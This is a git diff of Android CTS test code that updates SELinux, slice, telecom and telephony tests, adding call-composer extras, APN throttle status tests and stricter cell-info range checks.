diff --git a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
index 05fad31..4de03b0 100644
--- a/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
+++ b/tests/tests/selinux/selinuxTargetSdkCurrent/src/android/security/SELinuxTargetSdkTest.java
@@ -38,7 +38,7 @@
     }
 
     public void testNoNetlinkRouteBind() throws IOException {
-        checkNetlinkRouteBind(false);
+        noNetlinkRouteBind();
     }
 
     public void testCanNotExecuteFromHomeDir() throws Exception {
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
deleted file mode 100644
index 664b4fd..0000000
--- a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.slice.cts;
-
-import android.content.pm.PackageManager;
-import androidx.test.InstrumentationRegistry;
-import android.content.Context;
-
-import android.app.slice.Slice;
-import android.app.slice.SliceSpec;
-import android.content.ContentResolver;
-import android.net.Uri;
-import android.os.Bundle;
-
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import com.google.android.collect.Lists;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import static org.junit.Assume.assumeFalse;
-
-@RunWith(AndroidJUnit4.class)
-public class SliceProviderTest {
-
-    private static final String VALID_AUTHORITY = "android.slice.cts";
-    private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
-    private static final String ACTION_BLUETOOTH = "/action/bluetooth";
-    private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
-    private static final String VALID_ACTION_URI_STRING =
-            "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
-    private static final String SHADY_ACTION_URI_STRING =
-            "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
-    private final Context mContext = InstrumentationRegistry.getContext();
-    private boolean isSliceDisabled = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_SLICES_DISABLED);
-
-    @Rule
-    public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
-
-    private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
-    private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
-    private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
-
-    private ContentResolver mContentResolver;
-
-    @Before
-    public void setUp() {
-        mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
-    }
-
-    @Test
-    public void testCallSliceUri_ValidAuthority() {
-        assumeFalse(isSliceDisabled);
-        doQuery(validActionUri);
-    }
-
-    @Test(expected = SecurityException.class)
-    public void testCallSliceUri_ShadyAuthority() {
-        assumeFalse(isSliceDisabled);
-        doQuery(shadyActionUri);
-    }
-
-    private Slice doQuery(Uri actionUri) {
-        Bundle extras = new Bundle();
-        extras.putParcelable("slice_uri", actionUri);
-        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
-                    new SliceSpec("androidx.slice.LIST", 1),
-                    new SliceSpec("androidx.app.slice.BASIC", 1),
-                    new SliceSpec("androidx.slice.BASIC", 1),
-                    new SliceSpec("androidx.app.slice.LIST", 1)
-            ));
-        Bundle result = mContentResolver.call(
-                validBaseUri,
-                SliceProvider.METHOD_SLICE,
-                null,
-                extras
-        );
-        return result.getParcelable(SliceProvider.EXTRA_SLICE);
-    }
-
-}
diff --git a/tests/tests/telecom/AndroidTest.xml b/tests/tests/telecom/AndroidTest.xml
index e605691..94ee1e5 100644
--- a/tests/tests/telecom/AndroidTest.xml
+++ b/tests/tests/telecom/AndroidTest.xml
@@ -30,10 +30,13 @@
         <option name="test-file-name" value="CarModeTestApp.apk" />
         <option name="test-file-name" value="CarModeTestAppTwo.apk" />
     </target_preparer>
+
+    <!-- Enabling change id ALLOW_TEST_API_ACCESS allows that package to access @TestApi methods -->
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-      <!-- Disable hidden API checking, see b/166236554 -->
-        <option name="run-command" value="settings put global hidden_api_policy 1" />
-        <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts" />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.telecom.cts.api29incallservice" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.telecom.cts" />
diff --git a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
index 715e8f7..d9fd0f8 100644
--- a/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
+++ b/tests/tests/telecom/Api29InCallServiceTestApp/AndroidManifest.xml
@@ -28,7 +28,8 @@
     <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
     <uses-permission android:name="android.permission.CONTROL_INCALL_EXPERIENCE" />
 
-    <application android:label="Api29CTSInCallService">
+    <application android:label="Api29CTSInCallService"
+                 android:debuggable="true">
         <service android:name=".CtsApi29InCallService"
                  android:permission="android.permission.BIND_INCALL_SERVICE"
                  android:launchMode="singleInstance"
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index 5b99e3c..f3455e6 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -29,9 +29,11 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.graphics.drawable.Icon;
+import android.location.Location;
 import android.media.AudioManager;
-import android.os.Bundle;
 import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelUuid;
 import android.provider.CallLog;
 import android.telecom.Call;
 import android.telecom.Connection;
@@ -477,6 +479,29 @@
 
         Bundle exampleExtras = new Bundle();
         exampleExtras.putString(Connection.EXTRA_CALL_SUBJECT, TEST_SUBJECT);
+
+        // EXTRA_PRIORITY
+        exampleExtras.putInt(TelecomManager.EXTRA_PRIORITY, TelecomManager.PRIORITY_URGENT);
+
+        // EXTRA_CALL_LOCATION
+        Location testLocation = new Location("CallDetailsTest");
+        double latitude = 123;
+        double longitude = 456;
+        testLocation.setLatitude(latitude);
+        testLocation.setLongitude(longitude);
+        exampleExtras.putParcelable(TelecomManager.EXTRA_LOCATION, testLocation);
+
+        // EXTRA_HAS_PICTURE
+        exampleExtras.putBoolean(TelecomManager.EXTRA_HAS_PICTURE, true);
+
+        // EXTRA_INCOMING_PICTURE
+        Uri testIncomingPictureUrl = Uri.parse("content://carrier.xyz/picture1");
+        exampleExtras.putParcelable(TelecomManager.EXTRA_INCOMING_PICTURE, testIncomingPictureUrl);
+
+        // EXTRA_OUTGOING_PICTURE
+        ParcelUuid testOutgoingPicture = ParcelUuid.fromString("11111111-2222-3333-4444-55555555");
+        exampleExtras.putParcelable(TelecomManager.EXTRA_OUTGOING_PICTURE, testOutgoingPicture);
+
         exampleExtras.putString(Connection.EXTRA_CHILD_ADDRESS, TEST_CHILD_NUMBER);
         exampleExtras.putString(Connection.EXTRA_LAST_FORWARDED_NUMBER, TEST_FORWARDED_NUMBER);
         exampleExtras.putInt(TEST_EXTRA_KEY, TEST_EXTRA_VALUE);
@@ -500,6 +525,17 @@
                 callExtras.getFloat(Connection.EXTRA_AUDIO_CODEC_BITRATE_KBPS), 0.01);
         assertEquals(TEST_EXTRA_BANDWIDTH,
                 callExtras.getFloat(Connection.EXTRA_AUDIO_CODEC_BANDWIDTH_KHZ), 0.01);
+
+        assertEquals(TelecomManager.PRIORITY_URGENT, exampleExtras.getInt(
+                TelecomManager.EXTRA_PRIORITY));
+        Location testGetLocation = exampleExtras.getParcelable(TelecomManager.EXTRA_LOCATION);
+        assertEquals(latitude, testGetLocation.getLatitude(), 0);
+        assertEquals(longitude, testGetLocation.getLongitude(), 0);
+        assertEquals(true, exampleExtras.getBoolean(TelecomManager.EXTRA_HAS_PICTURE));
+        assertEquals(testIncomingPictureUrl,
+                exampleExtras.getParcelable(TelecomManager.EXTRA_INCOMING_PICTURE));
+        assertEquals(testOutgoingPicture,
+                exampleExtras.getParcelable(TelecomManager.EXTRA_OUTGOING_PICTURE));
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java
new file mode 100644
index 0000000..d7b01d6
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.telecom.PhoneAccount;
+import android.test.AndroidTestCase;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+public class PhoneAccountTest extends AndroidTestCase {
+    public static final String ACCOUNT_LABEL = "CTSPhoneAccountTest";
+
+    public void testPhoneAccountCapabilitiesForCallComposer() {
+        PhoneAccount testPhoneAccount = PhoneAccount.builder(
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+                .setCapabilities(PhoneAccount.CAPABILITY_CALL_COMPOSER)
+                .build();
+        assertTrue(testPhoneAccount.hasCapabilities(PhoneAccount.CAPABILITY_CALL_COMPOSER));
+
+        testPhoneAccount = PhoneAccount.builder(
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+                .setCapabilities(PhoneAccount.CAPABILITY_VIDEO_CALLING)
+                .build();
+        assertFalse(testPhoneAccount.hasCapabilities(PhoneAccount.CAPABILITY_CALL_COMPOSER));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/current/Android.bp b/tests/tests/telephony/current/Android.bp
index 8bd31d9..aa02099 100644
--- a/tests/tests/telephony/current/Android.bp
+++ b/tests/tests/telephony/current/Android.bp
@@ -20,10 +20,13 @@
         "src/android/telephony/ims/cts/TestMmTelFeature.java",
         "src/android/telephony/ims/cts/TestImsSmsImpl.java",
         "src/android/telephony/ims/cts/TestImsConfig.java",
+        "src/android/telephony/ims/cts/TestImsRegistration.java",
+        "src/android/telephony/ims/cts/TestRcsCapabilityExchangeImpl.java",
         "src/android/telephony/ims/cts/TestSipTransport.java",
         "src/android/telephony/ims/cts/TestSipDelegate.java",
         "src/android/telephony/ims/cts/TestSipDelegateConnection.java",
         "src/android/telephony/ims/cts/ImsUtils.java",
+	"src/android/telephony/ims/cts/TestAcsClient.java",
     ],
     path: "src/",
 }
diff --git a/tests/tests/telephony/current/AndroidManifest.xml b/tests/tests/telephony/current/AndroidManifest.xml
index f6b655e..2a26b18 100644
--- a/tests/tests/telephony/current/AndroidManifest.xml
+++ b/tests/tests/telephony/current/AndroidManifest.xml
@@ -150,6 +150,16 @@
             </intent-filter>
         </service>
 
+        <service
+            android:name="android.telephony.gba.cts.TestGbaService"
+            android:directBootAware="true"
+            android:permission="android.permission.BIND_GBA_SERVICE"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.telephony.gba.GbaService"/>
+            </intent-filter>
+        </service>
+
         <activity android:name="android.telephony.cts.StubDialerActvity">
             <intent-filter>
                 <action android:name="android.intent.action.DIAL" />
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java b/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java
new file mode 100644
index 0000000..717ea546
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/ApnThrottleStatusTest.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.os.Parcel;
+import android.telephony.AccessNetworkConstants;
+import android.telephony.data.ApnSetting;
+import android.telephony.data.ApnThrottleStatus;
+
+import org.junit.Test;
+
+public class ApnThrottleStatusTest {
+
+    private static final int SLOT_INDEX = 10;
+    private static final int TRANSPORT_TYPE = AccessNetworkConstants.TRANSPORT_TYPE_WWAN;
+    private static final int APN_TYPE = ApnSetting.TYPE_IMS;
+    private static final int THROTTLE_TYPE = ApnThrottleStatus.THROTTLE_TYPE_ELAPSED_TIME;
+    private static final long THROTTLE_EXPIRY_TIME_MILLIS = 5005;
+    private static final int RETRY_TYPE = ApnThrottleStatus.RETRY_TYPE_NEW_CONNECTION;
+
+    @Test
+    public void testBuilderAndGetters() {
+
+        ApnThrottleStatus status = new ApnThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        assertEquals(SLOT_INDEX, status.getSlotIndex());
+        assertEquals(TRANSPORT_TYPE, status.getTransportType());
+        assertEquals(APN_TYPE, status.getApnType());
+        assertEquals(THROTTLE_TYPE, status.getThrottleType());
+        assertEquals(THROTTLE_EXPIRY_TIME_MILLIS, status.getThrottleExpiryTimeMillis());
+        assertEquals(RETRY_TYPE, status.getRetryType());
+    }
+
+    @Test
+    public void testEquals() {
+
+        ApnThrottleStatus status1 = new ApnThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+        ApnThrottleStatus status2 = new ApnThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        assertEquals(status1, status2);
+    }
+
+    @Test
+    public void testNotEquals() {
+        ApnThrottleStatus status1 = new ApnThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+        ApnThrottleStatus status2 = new ApnThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setNoThrottle()
+                .setRetryType(RETRY_TYPE)
+                .build();
+        assertNotEquals(status1, status2);
+    }
+
+    @Test
+    public void testParcel() {
+        ApnThrottleStatus status = new ApnThrottleStatus.Builder()
+                .setSlotIndex(SLOT_INDEX)
+                .setTransportType(TRANSPORT_TYPE)
+                .setApnType(APN_TYPE)
+                .setThrottleExpiryTimeMillis(THROTTLE_EXPIRY_TIME_MILLIS)
+                .setRetryType(RETRY_TYPE)
+                .build();
+
+        Parcel stateParcel = Parcel.obtain();
+        status.writeToParcel(stateParcel, 0);
+        stateParcel.setDataPosition(0);
+
+        ApnThrottleStatus postParcel = ApnThrottleStatus.CREATOR.createFromParcel(stateParcel);
+        assertEquals(status, postParcel);
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
index e91f3f6..05f4023 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CarrierConfigManagerTest.java
@@ -163,7 +163,12 @@
             assertEquals("KEY_SUPPORT_ADHOC_CONFERENCE_CALLS_BOOL doesn't match static default.",
                     config.getBoolean(CarrierConfigManager.KEY_SUPPORT_ADHOC_CONFERENCE_CALLS_BOOL),
                     false);
-
+            assertEquals("KEY_SUPPORTS_CALL_COMPOSER_BOOL doesn't match static default.",
+                    config.getBoolean(CarrierConfigManager.KEY_SUPPORTS_CALL_COMPOSER_BOOL),
+                            false);
+            assertEquals("KEY_CALL_COMPOSER_PICTURE_SERVER_URL_STRING doesn't match static"
+                    + " default.", config.getString(
+                            CarrierConfigManager.KEY_CALL_COMPOSER_PICTURE_SERVER_URL_STRING), "");
             assertEquals("KEY_CARRIER_USSD_METHOD_INT doesn't match static default.",
                     config.getInt(CarrierConfigManager.KEY_CARRIER_USSD_METHOD_INT),
                             CarrierConfigManager.USSD_OVER_CS_PREFERRED);
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
index 3be25e6..72239ac 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellBroadcastDataMigrationTest.java
@@ -30,9 +30,12 @@
 
 public class CellBroadcastDataMigrationTest {
     private static final String TAG = CellBroadcastDataMigrationTest.class.getSimpleName();
+    private static final String DEFAULT_LEGACY_DATA_MIGRATION_APP =
+            "com.android.cellbroadcastreceiver";
+
     /**
      * To support data migration when upgrading from an older device, device need to define
-     * legacy content provider. This tests verify that the legacy cellbroadcast contentprovider
+     * legacy content provider. This tests verify that the AOSP legacy cellbroadcast contentprovider
      * only surfaces data for migration. The data should be protected by proper permissions and
      * it should be headless without any other activities, services or providers to handle alerts.
      */
@@ -49,6 +52,13 @@
         assertEquals("Legacy provider at MediaStore.AUTHORITY_LEGACY must protect its data",
                 android.Manifest.permission.READ_CELL_BROADCASTS, legacy.readPermission);
 
+        // Skip headless check for OEM defined data migration app. e.g, OEMs might use messaging
+        // apps to store CBR data pre-R.
+        if (!DEFAULT_LEGACY_DATA_MIGRATION_APP.equals(legacy.applicationInfo.packageName)) {
+            Log.d(TAG, "Device support data migration from OEM apps");
+            return;
+        }
+
         // And finally verify that legacy provider is headless. We expect the legacy provider only
         // surface the old data for migration rather than handling emergency alerts.
         final PackageInfo legacyPackage = InstrumentationRegistry.getContext().getPackageManager()
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
index b87d594..1112b28 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellIdentityTest.java
@@ -22,6 +22,7 @@
 import android.telephony.CellIdentity;
 import android.telephony.CellIdentityCdma;
 import android.telephony.CellIdentityGsm;
+import android.telephony.CellIdentityLte;
 import android.telephony.CellIdentityNr;
 import android.telephony.CellIdentityTdscdma;
 import android.telephony.CellIdentityWcdma;
@@ -97,14 +98,48 @@
     }
 
     @Test
-    public void testCellIdentityNr_asCellLocation() {
-        CellIdentity cellIdentity =
-                new CellIdentityNr(123, 456, 789, null, null, null, 0, null, null, EMPTY_SET);
+    public void testCellIdentityLte_asCellLocation() {
+        int tac = 1;
+        int ci = 2;
+        CellIdentity cellIdentity = new CellIdentityLte(123, 456, ci, 7, tac);
 
         CellLocation cellLocation = cellIdentity.asCellLocation();
 
         GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
-        assertEquals(new GsmCellLocation(), gsmCellLocation);
+        assertEquals(tac, gsmCellLocation.getLac());
+        assertEquals(ci, gsmCellLocation.getCid());
+        // psc is not supported in LTE so always 0
+        assertEquals(0, gsmCellLocation.getPsc());
+    }
+
+    @Test
+    public void testCellIdentityLte_unavailable_asCellLocation() {
+        CellIdentity cellIdentity = new CellIdentityLte();
+
+        CellLocation cellLocation = cellIdentity.asCellLocation();
+
+        GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+        // -1 for unintialized lac and cid
+        assertEquals(-1, gsmCellLocation.getLac());
+        assertEquals(-1, gsmCellLocation.getCid());
+        // psc is not supported in LTE so always 0
+        assertEquals(0, gsmCellLocation.getPsc());
+    }
+
+    @Test
+    public void testCellIdentityNr_asCellLocation() {
+        int tac = 1;
+        CellIdentity cellIdentity =
+                new CellIdentityNr(123, tac, 789, null, null, null, 321, null, null, EMPTY_SET);
+
+        CellLocation cellLocation = cellIdentity.asCellLocation();
+
+        GsmCellLocation gsmCellLocation = (GsmCellLocation) cellLocation;
+        assertEquals(tac, gsmCellLocation.getLac());
+        // NR cid is 36 bits and can't fit into the 32-bit cid in GsmCellLocation, so always -1.
+        assertEquals(-1, gsmCellLocation.getCid());
+        // psc is not supported in NR so always 0, same as in LTE
+        assertEquals(0, gsmCellLocation.getPsc());
     }
 
     @Test
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
index 86b4dde..0cf33b1 100644
--- a/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
+++ b/tests/tests/telephony/current/src/android/telephony/cts/CellInfoTest.java
@@ -68,8 +68,18 @@
 /**
  * Test TelephonyManager.getAllCellInfo()
  * <p>
- * TODO(chesnutt): test onCellInfoChanged() once the implementation
- * of async callbacks is complete (see http://b/13788638)
+ *
+ * Test that the Cellular Location APIs return proper and complete information.
+ * <ul>
+ *     <li>At least one cell must be reported as the registered cell.
+ *     <li>Registered cells must report the technology-specific fields consisting of a globally
+ *         unique cell identifier.
+ *     <li>All cells must report a technology-specific physical cell identifier, such as a tuple
+ *         of the frequency and a phyisical cell ID that allows them to be uniquely identified
+ *         given a known global cell.
+ *     <li>All cells must report at least one valid power measurement.
+ * </ul>
+ *
  */
 public class CellInfoTest {
     private static final String TAG = "android.telephony.cts.CellInfoTest";
@@ -87,7 +97,7 @@
     private static final int MAX_RSSNR = 30;
     private static final int MIN_RSSNR = -20;
     // Maximum and minimum possible CQI values.
-    private static final int MAX_CQI = 30;
+    private static final int MAX_CQI = 15;
     private static final int MIN_CQI = 0;
 
     /**
@@ -127,6 +137,9 @@
     // 3GPP TS 36.101
     private static final int BAND_MIN_LTE = 1;
     private static final int BAND_MAX_LTE = 88;
+    //3GPP TS 136.213 section 7.2.3
+    private static final int CQI_TABLE_INDEX_MIN_LTE = 1;
+    private static final int CQI_TABLE_INDEX_MAX_LTE = 6;
 
     // The followings are parameters for testing CellIdentityWcdma
     // Location Area Code ranges from 0 to 65535.
@@ -150,6 +163,9 @@
     private static final int BAND_FR1_MAX_NR = 95;
     private static final int BAND_FR2_MIN_NR = 257;
     private static final int BAND_FR2_MAX_NR = 261;
+    //3GPP TS 138.214 section 5.2.2.1
+    private static final int CQI_TABLE_INDEX_MIN_NR = 1;
+    private static final int CQI_TABLE_INDEX_MAX_NR = 3;
 
     // 3gpp 36.101 Sec 5.7.2
     private static final int CHANNEL_RASTER_EUTRAN = 100; //kHz
@@ -597,6 +613,8 @@
         int csiRsrp = nr.getCsiRsrp();
         int csiRsrq = nr.getCsiRsrq();
         int csiSinr = nr.getSsSinr();
+        int csiCqiTableIndex = nr.getCsiCqiTableIndex();
+        List<Integer> csiCqiReport = nr.getCsiCqiReport();
         int ssRsrp = nr.getSsRsrp();
         int ssRsrq = nr.getSsRsrq();
         int ssSinr = nr.getSsSinr();
@@ -608,6 +626,14 @@
                 + csiRsrq, -20 <= csiRsrq && csiRsrq <= -3 || csiRsrq == CellInfo.UNAVAILABLE);
         assertTrue("getCsiSinr() out of range [-23, 40] | Integer.MAX_INTEGER, csiSinr = "
                 + csiSinr, -23 <= csiSinr && csiSinr <= 40 || csiSinr == CellInfo.UNAVAILABLE);
+        assertTrue("getCsiCqiTableIndex() out of range | CellInfo.UNAVAILABLE, csiCqiTableIndex="
+                + csiCqiTableIndex, csiCqiTableIndex == CellInfo.UNAVAILABLE
+                        || (csiCqiTableIndex >= CQI_TABLE_INDEX_MIN_NR
+                                && csiCqiTableIndex <= CQI_TABLE_INDEX_MAX_NR));
+        assertTrue("cqi in getCsiCqiReport() out of range | CellInfo.UNAVAILABLE, csiCqiReport="
+                + csiCqiReport, csiCqiReport.stream()
+                        .allMatch(cqi -> cqi.intValue() == CellInfo.UNAVAILABLE
+                                || (cqi.intValue() >= MIN_CQI && cqi.intValue() <= MAX_CQI)));
         assertTrue("getSsRsrp() out of range [-140, -44] | Integer.MAX_INTEGER, ssRsrp = "
                         + ssRsrp, -140 <= ssRsrp && ssRsrp <= -44
                 || ssRsrp == CellInfo.UNAVAILABLE);
@@ -639,8 +665,7 @@
         // Only physical cell id is available for LTE neighbor.
         int pci = lte.getPci();
         // Physical cell id should be within [0, 503].
-        assertTrue("getPci() out of range [0, 503], pci=" + pci,
-                (pci == CellInfo.UNAVAILABLE) || (pci >= 0 && pci <= PCI));
+        assertTrue("getPci() out of range [0, 503], pci=" + pci, (pci >= 0 && pci <= PCI));
 
         // Tracking area code ranges from 0 to 65535.
         int tac = lte.getTac();
@@ -672,7 +697,7 @@
         }
         assertTrue(
                 "getEarfcn() out of range [" + minEarfcn + "," + maxEarfcn + "], earfcn=" + earfcn,
-                earfcn == CellInfo.UNAVAILABLE || (earfcn >= minEarfcn && earfcn <= maxEarfcn));
+                (earfcn >= minEarfcn && earfcn <= maxEarfcn));
 
         if (mRadioHalVersion >= RADIO_HAL_VERSION_1_5) {
             int[] bands = lte.getBands();
@@ -682,11 +707,7 @@
             }
         }
 
-        String mobileNetworkOperator = lte.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(lte.getMobileNetworkOperator());
 
         for (String plmnId : lte.getAdditionalPlmns()) {
             verifyPlmnId(plmnId);
@@ -704,6 +725,8 @@
                     lte.getMccString() != null || lte.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     lte.getMncString() != null || lte.getMnc() != CellInfo.UNAVAILABLE);
+            assertFalse("PLMN-ID is required for registered cells",
+                    TextUtils.isEmpty(lte.getMobileNetworkOperator()));
         }
     }
 
@@ -746,6 +769,11 @@
         assertTrue("getRssnr() out of range | CellInfo.UNAVAILABLE, rssnr=" + rssnr,
                 rssnr == CellInfo.UNAVAILABLE || (rssnr >= MIN_RSSNR && rssnr <= MAX_RSSNR));
 
+        int cqiTableIndex = cellSignalStrengthLte.getCqiTableIndex();
+        assertTrue("getCqiTableIndex() out of range | CellInfo.UNAVAILABLE, cqi=" + cqiTableIndex,
+                cqiTableIndex == CellInfo.UNAVAILABLE || (cqiTableIndex >= CQI_TABLE_INDEX_MIN_LTE
+                        && cqiTableIndex <= CQI_TABLE_INDEX_MAX_LTE));
+
         int cqi = cellSignalStrengthLte.getCqi();
         assertTrue("getCqi() out of range | CellInfo.UNAVAILABLE, cqi=" + cqi,
                 cqi == CellInfo.UNAVAILABLE || (cqi >= MIN_CQI && cqi <= MAX_CQI));
@@ -815,14 +843,9 @@
         // Verify wcdma primary scrambling code information.
         // Primary scrambling code should be within [0, 511].
         int psc = wcdma.getPsc();
-        assertTrue("getPsc() out of range [0, 511], psc=" + psc,
-                (psc >= 0 && psc <= PSC) || psc == CellInfo.UNAVAILABLE);
+        assertTrue("getPsc() out of range [0, 511], psc=" + psc, psc >= 0 && psc <= PSC);
 
-        String mobileNetworkOperator = wcdma.getMobileNetworkOperator();
-        assertTrue("getMobileNetworkOperator() out of range [0, 999999], mobileNetworkOperator="
-                        + mobileNetworkOperator,
-                mobileNetworkOperator == null
-                        || mobileNetworkOperator.matches("^[0-9]{5,6}$"));
+        verifyPlmnId(wcdma.getMobileNetworkOperator());
 
         int uarfcn = wcdma.getUarfcn();
         // Reference 3GPP 25.101 Table 5.2
@@ -845,6 +868,8 @@
                     wcdma.getMccString() != null || wcdma.getMcc() != CellInfo.UNAVAILABLE);
             assertTrue("MNC is required for registered cells",
                     wcdma.getMncString() != null || wcdma.getMnc() != CellInfo.UNAVAILABLE);
